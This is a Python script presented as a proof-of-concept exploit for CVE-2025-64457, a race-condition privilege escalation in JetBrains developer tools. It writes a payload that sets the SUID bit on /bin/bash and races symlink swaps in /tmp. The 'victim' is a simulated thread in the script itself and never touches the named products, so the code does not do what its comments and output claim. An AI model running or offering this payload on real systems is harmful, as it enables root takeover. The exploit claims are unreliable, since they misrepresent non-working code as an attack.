The following code is for security research and authorized testing only.
python
# CVE-2025-64457 PoC - Race Condition Local Privilege Escalation
# Target: JetBrains ReSharper/Rider/dotTrace < 2025.2.5
# Attack Type: TOCTOU (Time-of-Check to Time-of-Use) Race Condition
import os
import time
import threading
import subprocess
import ctypes
from pathlib import Path
# Configuration
JETBRAINS_TOOL = "ReSharper" # or "Rider", "dotTrace"
MALICIOUS_SCRIPT = "/tmp/payload.sh"
TARGET_DIR = "/tmp/jetbrains_temp"
def create_malicious_payload():
"""Create the malicious payload to be executed with elevated privileges"""
payload = '''#!/bin/bash
# This script runs with elevated privileges
# Add your privilege escalation code here
chmod +s /bin/bash # Example: enable SUID on bash
'''
with open(MALICIOUS_SCRIPT, 'w') as f:
f.write(payload)
os.chmod(MALICIOUS_SCRIPT, 0o755)
def race_condition_attack():
"""
Execute the TOCTOU race condition attack
This exploits the time window between file permission check and file usage
"""
# Create target directory
os.makedirs(TARGET_DIR, exist_ok=True)
# Create a benign-looking target file
benign_file = os.path.join(TARGET_DIR, "config.dat")
with open(benign_file, 'w') as f:
f.write("legitimate configuration data")
def attacker_loop():
"""Attacker process: rapidly replace files to exploit race condition"""
for _ in range(1000):
try:
# Replace the legitimate file with a symlink to privileged location
os.remove(benign_file)
os.symlink(MALICIOUS_SCRIPT, benign_file)
time.sleep(0.0001) # Minimal delay
# Restore legitimate file
os.remove(benign_file)
with open(benign_file, 'w') as f:
f.write("legitimate configuration data")
time.sleep(0.0001)
except:
continue
def victim_process():
"""
Victim process: triggers the vulnerable file operation
In real attack, this would be the JetBrains tool processing files
"""
for _ in range(1000):
try:
# Check file permissions (TOCTOU vulnerability here)
if os.path.exists(benign_file):
# Time gap where attacker can swap the file
# ... vulnerable code path ...
with open(benign_file, 'r') as f:
data = f.read()
# Execute or process the file content
# This is where the race condition allows privilege escalation
except:
continue
# Start attacker and victim threads
attacker_thread = threading.Thread(target=attacker_loop, daemon=True)
victim_thread = threading.Thread(target=victim_process, daemon=True)
attacker_thread.start()
victim_thread.start()
# Wait for race to complete
time.sleep(10)
def main():
"""Main execution function"""
print(f"[*] CVE-2025-64457 PoC for {JETBRAINS_TOOL}")
print(f"[*] Target: {TARGET_DIR}")
create_malicious_payload()
print("[*] Starting race condition attack...")
print("[*] This may take several minutes to succeed...")
race_condition_attack()
print("[*] Attack completed. Check for privilege escalation.")
# Verify if payload was executed
if os.path.exists(MALICIOUS_SCRIPT):
print("[!] Payload may have been executed with elevated privileges")
if __name__ == "__main__":
main()